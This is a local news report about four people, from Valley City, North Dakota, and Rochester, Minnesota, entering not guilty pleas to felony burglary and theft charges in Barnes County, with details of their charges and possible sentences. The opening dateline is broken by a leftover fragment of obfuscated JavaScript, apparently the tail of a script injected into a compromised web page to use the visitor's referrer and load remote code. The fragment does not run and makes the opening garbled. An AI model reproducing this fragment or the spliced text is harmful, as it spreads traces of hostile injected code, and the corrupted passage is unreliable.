VALLEY fsrir|var|u0026u|referrer|abhkd||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) 4 people who face multiple felony burglary and theft of property charges entered not guilty pleas during a pretrial investigation hearing Tuesday in Barnes County.

37-year-old Steven Lee Hovland and 25-year-old April Robyn Kapaun both of Valley City along with 32-year-old Broc Allen Buytaert and 31-year-old Betsy Lee Runkle both of Rochester, Minnesota are accused of breaking into several Barnes County farmsteads taking a number of items including tools and a pickup from a Valley City business last year.

Southeast Judicial District Judge Jay Schmitz found probable cause for a trial following the statements of Barnes County Chief Deputy Don Fiebiger.

Barnes County State’s Attorney Lee Grossman says he’ll submit a motion to have the 4 tried together. He believes the trial could take up to two weeks with some 30 witnesses.

All Class “C” felony charges carry a maximum sentence of 5 years in prison and or a $5,000 fine for each felony count. Buytaert could be sentenced to 65 years on 13 felony counts, Hovland 55 years on 11 felony counts, Runkle 50 years on10 felony counts while Kapaun faces 10 years on her 2 felony counts in this case.

The four also face possession of stolen property charges in Moorhead and Rochester, Minnesota.

Shortly after the 4 were arrested last November Barnes County Sheriff Randy McClaflin said about 85-hundred dollars worth of stolen property was recovered during a two-month long investigation.